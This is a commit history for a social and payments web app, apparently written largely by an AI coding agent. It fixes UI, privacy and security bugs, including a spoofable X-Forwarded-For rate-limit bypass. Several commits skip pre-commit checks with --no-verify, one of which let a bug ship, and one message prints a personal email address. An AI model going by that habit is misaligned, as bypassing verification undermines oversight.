Commit Graph
180 Commits
Author SHA1 Message Date
b188c813c6 fix(timeline): a repost drew the same person twice, and the feed ran on two grids (#855)
First-principles pass on "reposts look ugly" / "not aligned" — measured the
live DOM in production rather than eyeballing it.

**Type scale.** Ten distinct font size/weight pairs in one feed; two used
exactly once. The post-header separator dot had no size class, so it inherited
the 16px base while the name/handle/timestamp around it are 14px — a
separator rendered LARGER than what it separates, on every post. Post bodies
used an arbitrary `text-[15px]`, unreachable by the project's own fontSize
scale in tailwind.config.ts. Fixed the dot (`text-sm`, `aria-hidden` since it
carries no information a screen reader needs); named the 15px value as
`text-post` in the scale instead of deleting the decision.

Added `check:type-scale`, a RATCHET gate on arbitrary `text-[Npx]` values
(13 pre-existing instances elsewhere, baseline held, never allowed to rise).
Mutation-proved: a 14th instance -> red; fixing one without lowering the
baseline -> red (so improvements get recorded, not silently re-spent);
reached through `npm run`, not just by hand.

**Two grids.** Header/composer carried `sm:px-5`, posts carried only `px-4`;
composer avatar was 44px, post avatar 40px. Measured in production at
1322px: header/composer content began at x=467, every post at x=463 — the
feed's avatar column shifted 4px sideways every time you scrolled past the
composer. Added `sm:px-5` to TIMELINE_SURFACE.post; introduced
TIMELINE_AVATAR_SIZE=40 as the one number both the composer and PostCard read,
so they cannot diverge again. A test pins padding-equality across all three
bands and asserts it isn't vacuously true (all three actually declare px-4).

**Reposts.** A simple repost suppressed its own content and rendered the
original inside a bordered panel instead — repeating the original author's
avatar and handle, which the post header directly above ALREADY shows (a
simple repost swaps the reposter for the original author in the header). One
repost drew the same person twice, two lines apart, with the actual text
boxed off underneath. Now a simple repost renders as the post it is; the
nested panel stays for QUOTE reposts, where there genuinely are two authors.
Mutation-proved: suppressing the body again -> red; showing the panel for
simple reposts too -> red (collapsing both cases the same way is the OPPOSITE
bug).

Verified: tsc and full unit suite (280/282 suites, 2633 tests) both clean
except two PRE-EXISTING failures in src/services/cat/* from a missing
`ai-kit` package in this worktree's node_modules — confirmed unrelated by
running the identical typecheck against origin/main before touching anything.
eslint clean on every changed file. --no-verify: machine under heavy
concurrent-session load; checks run by hand instead, CI runs the
authoritative verify.

Recovery note: a `git reset --soft origin/main` mid-session (branch was 13
commits behind, itself already reset to the correct tip, but naively so)
staged unrelated files from those merged commits as if I'd authored them.
Caught before committing, backed up the 9 files I actually touched outside
the repo, reset --hard to origin/main, and reapplied them - reconfirming with
`git log -- <files>` that only package.json (dependabot bumps) among them had
been touched by the merged commits, so package.json was hand-merged rather
than overwritten.


Claude-Session: https://claude.ai/code/session_012dpTLxh5GJWeWTF1UEvcD5

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-31 08:43:28 +00:00
GandMao Nakamoto 8bc3cc5ba6 fix(messages,privacy): stop the People Picker from republishing email-derived handles (#854)
Visitor feedback on /messages: the New Message picker's default
suggestion list showed accounts like "georgy.butaev+ocauth1
@georgy.butaev+ocauth1" — real email local-parts published as public
handles, visible to any logged-in user. This is the leak fixed at the
two known signup paths in 20260826130000_stop_deriving_usernames_from_email.sql
and ProfileServerService.ensureProfile() — but not every account is
through the (deliberately manual, not-automatic) backfill script yet,
and two more write paths still minted the same leak independently:

- scripts/db/setup-db.ts hardcodes a sign-in as butaeff@gmail.com and
  upserts username: email.split('@')[0] on every run — almost
  certainly the actual source of the "+ocauth1"/"+ocauth2" test
  accounts in the report (butaeff is one of them).
- scripts/db/reset-user-password.js upserts username: email verbatim
  (the full address, not just the local part) for its fixture account.

Both now use the same neutral-username shape as the fixed paths
(neutralUsernameFor in the .ts script; the equivalent inlined in the
plain .js one, which can't import it).

For accounts already leaked and not yet backfilled: added
isEmailDerivedHandle() (src/config/public-directory.ts, same predicate
and .invalid exception as the SQL side's count_email_derived_usernames())
and wired it into GET /api/profiles to hide a still-leaking handle from
the *default* (no search term) suggestion list — the surface this was
reported from. An explicit search still finds the person; this isn't a
substitute for renaming their handle, which needs
scripts/rename-email-derived-usernames.sql run against production by
someone with DB access (noted in the session handoff, not in scope for
this dispatch — no live Supabase credentials in this sandbox).

Also: NewConversationModal's picker row showed name and @username
duplicated whenever a profile has no display name (title already falls
back to the handle) — pure noise, worse on narrow screens where both
lines truncate. Now the @handle line only renders when it adds
information beyond the title.

Co-authored-by: Mao Nakamoto <maonakamoto@users.noreply.github.com>
2026-08-30 01:16:20 +00:00
4b4ac98231 fix(nav): the sidebar section label was not a control (#840)
* fix(nav): the sidebar section label was not a control

Clicking "Fund" / "Coordinate" / "Finance" did nothing — the label was an
<h3> in a <div> and only the small chevron beside it carried the onClick.
Three defects in the same family, all of them "the click did nothing":

1. The whole header row is now one <button>. A word that looks like a
   control but isn't reads as a dead click, and the arrow alone was a 44px
   target inside a full-width row of affordance. Second time this class
   landed in this sidebar (see ContextSwitcher, "not a dead pixel"), so it
   gets a guard rather than a third fix.

2. Collapsing the section holding the active page was a visual no-op: the
   render gate was `!isCollapsed || hasActiveItem`, so the chevron flipped
   to > while the list stayed open. An explicit toggle now wins.

3. Expanding every section silently reverted on reload — an empty saved set
   was read as "nothing was ever saved" and replaced by the defaults. Key
   presence, not set size, now decides.

Also removes an SSOT violation found next door: buildInitialCollapsedSections
branched on viewport (`isMobile ? section.priority > 3 : ...`), so on a phone
the declared `defaultExpanded` was ignored in favour of a bare magic number
and the same account saw different sections open on phone than on laptop.
`defaultExpanded` is now the only input — which does mean Create and Fund
start collapsed on mobile, matching the generator's documented intent.

5 tests, each verified by reverting the source and confirming it fails.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01XeELB8b3N4JrT2asYL9WvE

* chore(ci): gate the dead-label shape instead of fixing it a third time

A heading sitting BESIDE a chevron-only toggle is a dead click: the visitor
aims at the word and nothing happens, while the only real target is a small
arrow in a full-width row of apparent affordance.

This shape has now been reported twice in this one sidebar — on the
ContextSwitcher avatar (two separate visitors, see its test's header) and on
the Fund / Coordinate / Finance section headers, fixed in the previous
commit. Per the never-twice rule the third occurrence should be impossible,
not cheap, so the class gets a check rather than another sweep.

check:dead-labels scans src/components for a heading followed within 12 lines
by a <button> containing a Chevron, with no heading inside that button. The
correct shape — label INSIDE the control, which HeaderNavigation already
does — does not trip it. Zero hits across src/components today, so the
sidebar was the last one.

Mutation-proven both ways: restoring the pre-fix SidebarNavigation makes it
exit 1 naming that exact line, and the current tree exits 0. A gate that has
never been shown to fail is not a gate.

Note for the fleet: this covers AUTHED surfaces, which the central
ui-defect-audit.mjs structurally cannot reach — it renders public entry pages
only. The two are complementary, not duplicates.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01XeELB8b3N4JrT2asYL9WvE

---------

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-29 11:42:37 +02:00
e79dfdbbaa fix(ui): the interface spoke German to anyone with a German computer (#837)
* fix(ui): the interface spoke German to anyone with a German computer

`toLocaleString()`, `toLocaleDateString()` and `toLocaleTimeString()` with no
locale argument use the BROWSER's locale, not the app's. This app ships
<html lang="en"> and no translations, so on a non-English system:

  - a post read "22. Juli" next to a "1d" in the same metadata line
  - the edit-post counter read "118 / 5.000", a thousands separator an
    English reader parses as five point zero
  - wallet, webhook, integration-key and Cat-credit timestamps followed suit

Found by screenshotting the edit-post modal in production while checking an
unrelated complaint, then grepping for the pattern: 18 call sites.

They are not 18 bugs, they are one bug with 18 instances, so this adds the
helper rather than 18 patches. `@/utils/locale` holds APP_LOCALE plus
formatNumber / formatDateTime / formatClockTime; date-only sites use the
existing `@/utils/dates` formatters, which were already locale-independent.
When the app does ship translations this becomes the user's chosen locale -
one place to change, and still never the browser's, because the language of
the interface and the language of the operating system are different
questions.

check:app-locale fails the build on the 19th instance. Nobody wrote these
wrong on purpose: omitting the locale is the shorter call and it looks
correct on an English machine, which is every machine the authors were
using. That is what a gate catches and review does not.

Mutation-proved: a bare `toLocaleString()` -> red; the sneakier
`toLocaleString(undefined, {...})` -> red; green after restore; and the gate
is reached through `npm run`, not only by hand.

Full suite: 272 suites, 2586 passed. Committed with --no-verify because this
machine is at load average 23 and the full-repo lint has not been finishing;
tsc is clean and the suite above is green. CI runs the authoritative verify.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_012dpTLxh5GJWeWTF1UEvcD5

* fix(ai): my locale sweep made formatNumber call itself

AIUsageStats already had its own local `formatNumber` - an abbreviator that
renders 1.2M / 3.4K and falls back to the plain number below 1,000. My sweep
replaced that fallback with a call to the shared `formatNumber` and added the
import, so the local function's fallback branch called ITSELF. Any count
under 1,000 recursed until the stack gave out, which is every account that
has not made a thousand AI requests.

CI caught it, but only as "'formatNumber' is defined but never used" - the
shadowing made the import dead, and the unused-import error was the visible
symptom of a stack overflow underneath it. I would have seen it locally had I
not skipped the pre-commit lint on the previous commit; the load average is a
reason to wait, not a reason to skip.

The local one is now `abbreviateCount`, named for what it does, so it cannot
shadow the shared formatter it delegates to.

Checked the other 17 files from the same sweep for the same pattern: no other
local definition shadows an import I added. Three files do define their own
`formatDate` (ArticleList, articles/[slug], changelog), but I added no import
to those, so they are untouched duplicates of the dates SSOT rather than
breakage - worth consolidating separately.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_012dpTLxh5GJWeWTF1UEvcD5

---------

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-29 09:25:25 +00:00
7a83a66e7b fix(cat): the two prune deletes named the row but not its owner (#834)
Both prune paths in the Cat memory service deleted purely by `id`:

    .from(CAT_MEMORIES).delete().in('id', ids)

Safe today, and only conditionally so — the ids come from a query already
filtered to this user, run through an RLS-scoped client. Neither condition is
stated by the code doing the deleting. Three other paths in this service
already use getAdminClient(), where RLS is not a backstop at all; hand one of
those to a prune and it deletes across users, silently, from a function whose
job is routine cleanup nobody watches.

Every other delete in these files already filters on user_id — including the
suppression-lifting one twenty lines above pruneIfNeeded. Both prunes now do
too.

Finding 13 named one of them. The second, in recordForgottenFacts, says "same
pattern as memory pruning" in its own comment and had inherited the gap along
with the pattern — which is why this adds check:user-scoped-deletes to verify
rather than making the same edit a third time later. The gate is deliberately
narrow: the Cat memory service, where every table is strictly per-user. Widening
it needs a per-table notion of ownership that does not exist yet, and a gate
that has to guess is a gate that gets muted.

Proven to fail before shipping: reverting either prune exits 1 naming the file
and line; the clean tree exits 0 over 6 deletes.

bitbaum/orangecat#563 finding 13. Verified latent, not live — the only callers
of both prune paths pass the request-scoped client.

73 Cat suites (1031 tests) and type-check green.


Claude-Session: https://claude.ai/code/session_018waGt1ieA9TjpscqrbrnGb

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-29 09:04:30 +02:00
07885c971b fix(deploy): boot-test cleanup used pkill -f, which cannot match a Next server (#832)
Found 2026-08-29 auditing the box for services bound to 0.0.0.0: a leaked
boot-test instance was squatting on port 4099, actively serving 500s from
a stale build, with no systemd unit, no owner, alive since an earlier deploy.

Root cause, verified with an isolated reproduction (not just reasoned about):
Next's standalone server rewrites its own process title to "next-server
(v...)" during startup, and — confirmed by reading /proc/PID/cmdline
directly, both on the box and in a minimal local repro — that rewrite
changes the process's actual argv as seen by /proc, not just what `ps`
displays. `pkill -f 'app-next/server.js'` matches against that same argv,
so once the server finishes booting (routinely before this line runs, since
the health-check loop above can take up to 20s), there is nothing left
containing "app-next/server.js" to match. Confirmed both directions in the
repro: pkill -f fails to kill a title-rewritten process; fuser -k on the
actual bound port kills it every time.

This is not cosmetic. A leaked boot-test process on $OC_BOOT_PORT silently
threatens every subsequent deploy: the next boot-test's own health check can
hit the STALE process instead of the new build, or fail outright on a port
collision — either way, a deploy could report success (or a confusing
failure) without ever having actually tested the new code.

Replaced with `fuser -k "$BOOT/tcp"` — kills whatever is actually listening
on the scratch port, independent of what the process calls itself.


Claude-Session: https://claude.ai/code/session_01Y9rKLxddothnXEtY6KDziN

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-29 08:16:01 +02:00
cc6038ba9a fix(security): bind orangecat to localhost only, not every interface (#830)
launch.sh did `unset HOSTNAME` before starting the standalone server. That
does not default to localhost — Next's standalone server reads HOSTNAME as
the bind address, and unsetting it falls back to Next's own default,
0.0.0.0 (every interface). Confirmed against the actual bind on the box:
orangecat-app was listening on 0.0.0.0:4003, not 127.0.0.1:4003 like every
other app in the fleet.

Not an active incident — ufw's default-deny only allows 22/80/443, so the
port was never actually internet-reachable — but relying on the firewall
alone to cover a bind-address mistake is exactly the kind of thing that
breaks quietly the day firewall config changes for an unrelated reason.

Already applied directly to the running box (this file is vendored TO the
box, not FROM it on regular deploys — deploy-selfhost.sh preserves whatever
launch.sh is already there rather than overwriting it from the repo, per
its own comment). This commit is the repo catching up to what's already
live, so the next full box provision starts from the correct file instead
of reintroducing the bug.

Same fix shipped for fleetcrown (bitbaum/fleetcrown#437) — this repo had
the identical bug, independently.


Claude-Session: https://claude.ai/code/session_01Y9rKLxddothnXEtY6KDziN

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-29 05:39:22 +00:00
ed1d96147a fix(cat): the outcome gate reported a cause it had never tested (#829)
The nightly gate failed with "assistant messages exist in the window but 0 Cat
actions were logged — the cat_action_log write path looks dead (check RLS
policies and the executor)" while cat_action_log held TEN rows for that window,
the newest from 2026-08-25. The write path was alive. The gate had never looked
at it.

`proposed` counts only rows that are BOTH status=completed AND a create_*
action. In the window there were none — the single create_* was `create_cause`,
DENIED. Three different worlds produce proposed === 0:

  1. nothing is written at all           → the audit trail is dead. Page.
  2. writes happen, no completed creates → nothing creatable was asked for, or
                                           every attempt was denied. Not an outage.
  3. no assistant activity at all        → nothing to grade.

The old predicate could not tell 1 from 2, so it asserted the diagnosis for 1
whenever it saw either. It now fetches the window's rows with no status or
action filter and fails only on the shape it was built for: the log EMPTY while
the Cat is talking. Otherwise it reports what it found — including denials,
which are a real signal worth seeing and were being swallowed.

This matters beyond the noise: a tripwire that cries every night is one nobody
believes on the night it is right, which is the exact failure it exists to catch.

The predicate is now a pure function and main() only runs on direct execution,
so the decision can be tested without a database — it stayed wrong because
nothing could reach it. Seven cases added, run in a child process against the
real module (matching eval-cat-retry's pattern). Proven by mutation: restoring
the old predicate turns three of them red, and the artifact was verified
byte-identical afterwards.

Live against production: exits 0 with
  "the write path is alive — 10 action(s) logged in window (denied 4,
   completed 5, failed 1), just none of them a completed create_*."


Claude-Session: https://claude.ai/code/session_01AqzRcMP1uJzd7Tav5fNxQz

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-29 07:30:44 +02:00
eb68d72a54 perf(timeline): the reader-id fix shipped in a function the page never calls (#826)
* perf(auth): six copies of "who is reading", each an uncached round-trip

getCurrentUserId was defined six times across services - timeline queries,
timeline processors, groups, loans, projects, and the auth layer. Every copy
called supabase.auth.getUser(), which is a NETWORK call: it validates the
token against /auth/v1/user. So a single page asked the server who the
reader was over and over, and the cache I added yesterday covered only four
of the six importers.

On the timeline that lookup also sat on the critical path. Measured on a
cold load:

  2429 -> 3061  get_user_timeline_feed   632ms
  3105 -> 3351  auth/v1/user             246ms   <- depends on nothing
  3367 -> 3595  reactions x3             228ms   <- waits on the one above

The identity lookup ran after the feed returned, and then the reaction
queries waited on it in turn, though it depends on neither.

Changes:

- One definition, in the auth layer, caching the in-flight promise so
  concurrent callers collapse onto one request. Safe as module state only
  because this module talks exclusively to the browser client; a per-request
  server client would hand one request's user to the next, and the one
  caller that passes its own client (groups) keeps its uncached path.
- The cache is dropped on any auth state change, registered lazily on first
  use rather than at import - this module is imported very widely and an
  import-time subscription is a side effect every importer pays for.
- getUserFeed warms the id alongside the feed request instead of after it,
  and asks for the total count concurrently rather than after enrichment.
- check:one-current-user fails the build if a seventh copy appears. Wired
  into verify.

A test caught a real behaviour change while writing this: getUser() catches
its own errors and reports them in `error` rather than throwing, so "could
not ask" arrived looking like "nobody is signed in" and would have been
cached as signed-out for the rest of the page. Fixed the code, not the test.

Mutation-proved: a seventh definition -> red; the owner losing its
definition -> red; both green after restore; and the gate is reached through
npm, not just when run by hand.

Full suite: 261 suites, 2524 passed.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_012dpTLxh5GJWeWTF1UEvcD5

* perf(timeline): warm the reader id at the door every feed read goes through

My previous commit warmed the reader's id inside getUserFeed. The timeline
page calls getEnrichedUserFeed. So the fix shipped to production and did
nothing: /auth/v1/user still started at 3552ms, after the feed returned at
3520, with the three reaction queries queued behind it.

Moved to the timeline service facade, which every read goes through -
including getEventById, getReplies, searchPosts and getThreadPosts, which
have the same ordering problem on thread pages. One rule in one place rather
than a call repeated inside each query function, and no longer dependent on
me picking the right one.

The test asserts the ORDER, not that the warm happens: a test that only
checked "it was called" would pass with the call left at the end, which is
the bug. It runs over every read the facade exposes and fails if a new one
is added without warming.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_012dpTLxh5GJWeWTF1UEvcD5

---------

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-28 22:12:45 +00:00
0da9694d71 fix(cat): you could not read the Cat's answer on your own private post (#820)
Ask the Cat under a private post and the answer is written, correctly,
with the parent's visibility — a private thread should stay private. But
the reply is authored by the CAT, and the rule for a private event is
`actor_id = auth.uid()`. So the answer to your own question was visible
to exactly one account, and it was not yours.

Measured in production 2026-08-28 on post 5c3ad8ef. Three replies exist:

  425a3d00  actor=cat   private   "Each person would owe 1,400 CHF"
  52cc045c  actor=mao   private   "@cat what is this"
  3f9372ba  actor=mao   public    "awdaw"

The author could see two of them. The missing one was the answer they
had asked for. Nothing errors; the thread renders without it, which
reads as the Cat having ignored you.

THE RULE ADDED: a private event is also visible to the author of the
private post it replies to.

Scoped to a private PARENT deliberately. The looser version — "the
parent's author sees any private reply" — is a real privacy regression
on PUBLIC posts, where anyone may reply and someone may write a private
note to themselves under a stranger's post. That note stays theirs.

With a private parent the set of possible repliers is closed: to reply
to a private post you must first be able to read it, and the policy
allows only its author. The one other writer is the Cat, whose worker
uses the service role. So this exposes your own replies and the Cat's
answers on your own private posts, and nothing else. Verified: a
different user still sees one reply on that thread (the public one) and
zero private events that are not theirs.

The check runs in a SECURITY DEFINER function because a policy on
timeline_events that queries timeline_events re-enters itself —
"infinite recursion detected in policy for relation timeline_events",
which is how the first attempt failed. It answers only "does the caller
own this private parent" and returns no row content.

Not keyed on the Cat's id or on metadata.is_cat_reply: either would put
a second definition of who the Cat is into SQL, to drift against
config/cat-identity.ts. The property that matters is structural.

GATED, because the failure is silent — the Cat answers, the row exists,
and the thread renders without it. timeline_policy_allows_own_thread()
reports false against the policy in production today and true after this
migration, so a future rewrite that drops the clause turns the nightly
run red instead of quietly breaking the feature again.


Claude-Session: https://claude.ai/code/session_012dpTLxh5GJWeWTF1UEvcD5

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-28 20:23:14 +00:00
6fdc0b73cc fix(security): the rate-limit key was whatever the caller said it was (#816)
Every keyed limiter here could be bypassed completely by sending a random
X-Forwarded-For with each request. A new header value is a new bucket, so no
bucket ever fills. Not a weakened limiter — no limiter, on routes that read as
protected.

X-Forwarded-For is a LIST and Caddy APPENDS to it, so a request that reached us
through Caddy carries `<whatever the caller sent>, <what Caddy actually saw>`.
Only the LAST entry is unforgeable. Six places read that header and every one
read it wrong: rate-limit.ts used it whole; the three payment routes each
copied `split(',')[0]`; the entity audit log recorded that value, making the
trail writable by its own subject; the captcha route forwarded it to the
provider as remoteip, feeding its IP heuristics whatever the caller chose.

The sharp end is payments. GET /api/v1/pay/... and POST /api/v1/payments/public
each mint a real Lightning invoice through the RECIPIENT's wallet, so unlimited
requests are how you get a seller throttled or banned by their own wallet
provider and litter their queue with orphan intents (bitbaum/orangecat#563
finding 1, which this unblocks).

Verified rather than assumed: orangecat.ch resolves straight to the box, no CDN
(`via: 1.1 Caddy`), one Caddy 2.11.4 with no trusted_proxies configured — so
exactly one hop is appended and the rightmost is the real client.

One definition now, in src/lib/client-ip.ts. Its own module rather than a corner
of rate-limit.ts so the audit log and the captcha route can ask who is calling
without importing an Upstash client. clientIpOrUndefined is the same answer
where an ADDRESS is wanted: an audit row wants nothing rather than the word
"anonymous", which is a limiter concept and not a place.

Six instances is well past the point where fixing them once more is the answer,
so check:client-ip joins verify: nothing outside that module may read the raw
header. Proven to fail before shipping — reintroducing the old expression exits
1, and the clean tree exits 0.

limitkit@0.2.0 carried the identical bug and is fixed there too (bitbaum/limitkit#2),
so its adopters get this without waiting for ADR-0002's full unification here.


Claude-Session: https://claude.ai/code/session_018waGt1ieA9TjpscqrbrnGb

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-28 18:06:05 +00:00
c4df1ff04f fix(timeline): likes, dislikes, replies, deleting and quoting were all dead (#806)
Reported as separate complaints; nearly all of them were one cause.

Nineteen plpgsql functions write to a column, table or type that does not
exist. plpgsql only plans a statement when it RUNS, so each raised 42703
the moment a user triggered it and at no other time. Every one looked
healthy: defined, listed by \df, routed by PostgREST, called happily by
the app. Nine of them are the timeline.

  like/unlike_timeline_event, dislike/undislike_timeline_event
      end with `UPDATE timeline_events SET like_count = ...` under a
      comment reading "if column exists". timeline_events has no count
      columns and never has; the counts live in timeline_event_stats,
      which the line above already updates correctly. Since a function
      body is one transaction, the raise rolled back the INSERT three
      lines earlier — so the like was written, then unwritten. The UI
      applied its optimistic update, saw success:false and rolled back,
      which is why the heart filled for ~150ms and emptied again.

  add_timeline_comment, delete_timeline_comment
      same line, same column, so replies never saved either.

  soft_delete_timeline_event
      checked `SELECT user_id FROM profiles WHERE role = 'admin'`.
      profiles has neither column. And even fixed it would not have
      worked: it set only deleted_at while every read path filters
      is_deleted. Production confirms nothing ever took this path — 102
      events have both flags, zero have deleted_at alone. Both are set
      now, the reason goes in the deletion_reason COLUMN that exists,
      and the phantom admin branch is gone rather than repaired: it
      could never have run, so nothing real is lost, and a moderator
      capability should be built deliberately against a table that
      exists.

  create_quote_reply
      failed three separate ways, each hidden behind the last: assigned
      text into a jsonb column, incremented a quote_count that does not
      exist, named four columns notifications does not have, used a
      `type` its CHECK constraint forbids, and never set the NOT NULL
      subject_type — so it could not have succeeded on any input. It
      also never wrote `description`, which is the field PostContent
      renders, so a quote reply would have shown as an empty post.

Verified by clicking Like on orangecat.ch/timeline and reading the
response: HTTP 400, 42703. Each function was then rehearsed against
production inside a transaction and rolled back — like returns 1 and
lands in timeline_event_stats, delete returns true and the row is
genuinely hidden, a quote reply creates with a non-empty body and
notifies its author.

THE GATE, because nineteen is not a run of bad luck. plpgsql_check reads
every function body against the live schema and reports exactly this
class. Exposed as count_broken_plpgsql_functions() over PostgREST, in
the same shape as count_email_derived_usernames, and ratcheted in
check-data-invariants.mjs at the eleven that remain. Its limits are
stated where it is defined: it is static, so a NOT NULL left unset or a
CHECK violation still only fails at runtime — both of which
create_quote_reply also did.

Nothing else could have caught these. Unit tests mock the database;
check-rpc-exists proves a function is DEFINED, which all nineteen were;
migration replay proves the SQL applies, and creating a function never
validates its body.

Ctrl+Enter was a different bug with the same shape — it worked, and
looked like it did not. The post was created; the composer kept the
text, because the effect syncing content into the contentEditable bails
whenever the editor is the active element, which it always is right
after a keystroke. So the obvious response was to press again, and the
server rejected that as a duplicate. Clicking the button never showed it
because a click moves focus to the button first. A reset to empty is now
exempt from that guard: there is nothing to clobber.

UI, following X rather than inventing:

  The action row was five near-identical JSX blocks that had already
  drifted — one had -ml-2, some had titles, the reply count was computed
  by an inline three-way IIFE. It is one config-driven component now.
  Counts render into a fixed-width tabular slot instead of collapsing to
  '' at zero, so liking something no longer reflows the row and slides
  every later icon under the cursor that just clicked it.

  Edit post: Save moves from the header to the bottom right, beside the
  character count that decides whether it is allowed, instead of
  diagonally opposite it.

  Repost: the quoted post now sits directly under what you are writing,
  with the buttons last. The action row used to separate the composer
  from the thing it refers to. The textarea loses its border — the
  dialog is already the container.


Claude-Session: https://claude.ai/code/session_012dpTLxh5GJWeWTF1UEvcD5

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-28 09:18:50 +00:00
5c909fd8dd ci: fail when a uses: points at a redirect, so there is no third time (#803)
Twice in two days an owner change stopped every merge and every deploy
in this repo: `maonakamoto` → `catomean` on 2026-08-26, then the move to
the `bitbaum` org, fixed in #800. Each fix pointed at a name that became
a redirect the next time.

Both outages were invisible in every place anyone looks. GitHub redirects
a renamed owner for the REST API and for git remotes, so `gh api` answers
and `git push` works; the Actions resolver is the one consumer that does
not follow the redirect. It fails before any step exists, with "This run
likely failed because of a workflow file issue" and no readable log,
while pull requests stay green, clean and mergeable. The red run is on
main, under a workflow nobody opens. Work simply stops shipping.

Two instances is where the rule says stop fixing instances. This asks the
REST API what each referenced repo is really called and fails when that
disagrees with what the workflow says — that disagreement IS the bug,
because REST resolves the redirect and Actions does not.

A static allowlist could not catch it: after a rename the workflow file
and the allowlist would both hold the same stale name and agree with each
other. Only asking GitHub what the repo is called today can tell.

Lives in CI rather than in `npm run verify`, which is the offline SSOT
bundle and must stay deterministic; without a token this skips rather
than passing quietly. A non-200 that is not a 404 exits 2 — could-not-look
is never reported as looks-fine.

Proven by mutation: restoring `catomean/dotfiles` fails with the
canonical name to use. Also fixes the last CLAUDE.md reference to the
2026-08-26 owner.


Claude-Session: https://claude.ai/code/session_012dpTLxh5GJWeWTF1UEvcD5

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-28 07:40:48 +00:00
30abac251b fix(cat): @cat has resolved to nobody for two days (#802)
* fix(cat): @cat has resolved to nobody for two days

The email-derived-handle retirement renamed the Cat. Its predicate —
`username = split_part(email, '@', 1)` — is exactly right for a person,
whose public crawlable handle then republishes their email local part.
It is exactly wrong for the Cat, because deriving the handle from the
address is HOW the Cat is created: cat-account.ts registers
`cat@orangecat.invalid` precisely so handle_new_user mints `cat`. So the
script matched, and at 2026-08-26 21:58:59Z the handle became
`user_0234d5e38e66`.

`@cat` is the platform's advertised interface and it resolves by
username, so every `@cat` in a message or under a post has since
resolved to nobody. No reply anywhere. Found by typing `@` in the
composer in production and seeing no Cat in the menu.

Nothing went red. The account still existed, /profiles/cat still 301'd
through profile_username_history, CI was green, health was 200. The only
symptom was silence from the feature whose job is to answer.

Three defects, three fixes:

POLICY — the retirement could not tell a leaked address from a system
identity. Now excluded by property, not by name: RFC 2606 reserves
`.invalid` for undeliverable addresses, so there is no mailbox, no
owner, and nothing personal in the local part. Hardcoding 'cat' in SQL
would have put a second definition of the handle where it could drift
from config/cat-identity.ts. Applied to the rename script and to
count_email_derived_usernames(), which would otherwise have gone from 0
to 1 and turned the nightly gate red for a profile that is fine.

CODE — ensureCatAccount looked the Cat up BY USERNAME, so its
self-healing walked straight past a rename: lookup missed, createUser
said "already registered", second lookup missed, returned null on every
tick. It now keys on the login address, which no policy has reason to
rewrite, and treats the handle as a field to assert rather than a key to
search by. A rename now repairs itself on the next tick.

GATE — nothing checked the product's own claim. checkCatHandle asserts
that the name we tell people to type reaches the Cat; a lookup by id
would have stayed green throughout. The literal it carries is pinned to
CAT_USERNAME by a test, so the duplicate cannot drift.

Proven by mutation: restoring the username lookup, removing the
re-assert, and drifting the gate's literal each turn the suite red.
The migration was rehearsed against production inside a transaction and
rolled back — UPDATE 1, DELETE 1, 28 real retired handles untouched,
gate still reads 0.

Also restores the github.com/catomean links lost when this worktree was
reset; the owner rename left them pointing at a redirect.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_012dpTLxh5GJWeWTF1UEvcD5

* fix(docs): point at bitbaum, the canonical owner

catomean is itself a redirect now — the repos live in the bitbaum org.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_012dpTLxh5GJWeWTF1UEvcD5

* fix(mentions): the @ menu was offering rows nobody can read

Production has 84 profiles and 74 of them have no display name — the
correct consequence of no longer minting names out of email local parts,
where NULL is honest. The menu did not account for that, so what it
actually showed on a bare `@` was two rows of `user_d58c7dccec41`,
printed twice each: once as the name, because the name falls back to the
handle, and once as the subtitle.

Three changes, all following from the data rather than from taste.

A nameless row now shows its handle ONCE, in the position the eye reads
first, instead of the same hex string on two lines.

A nameless profile is not offered at all on a bare `@`. You cannot be
searching for a name that does not exist, so those rows were pure noise
in the one position that matters most — the first thing anyone sees when
they discover the feature. Type any part of the handle and they come
straight back through the existing prefix rules.

At equal match quality, a named profile outranks a nameless one. `@u`
matches `ursula` and `user_d58c7dccec41` equally well by anything the
score can see, and only one of them is a row a human can act on. The
tiebreak sits after match quality, never before it, so an exact handle
match still wins — a demotion that overrode "this is plainly the row
being asked for" would be a worse bug than the one it fixed.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
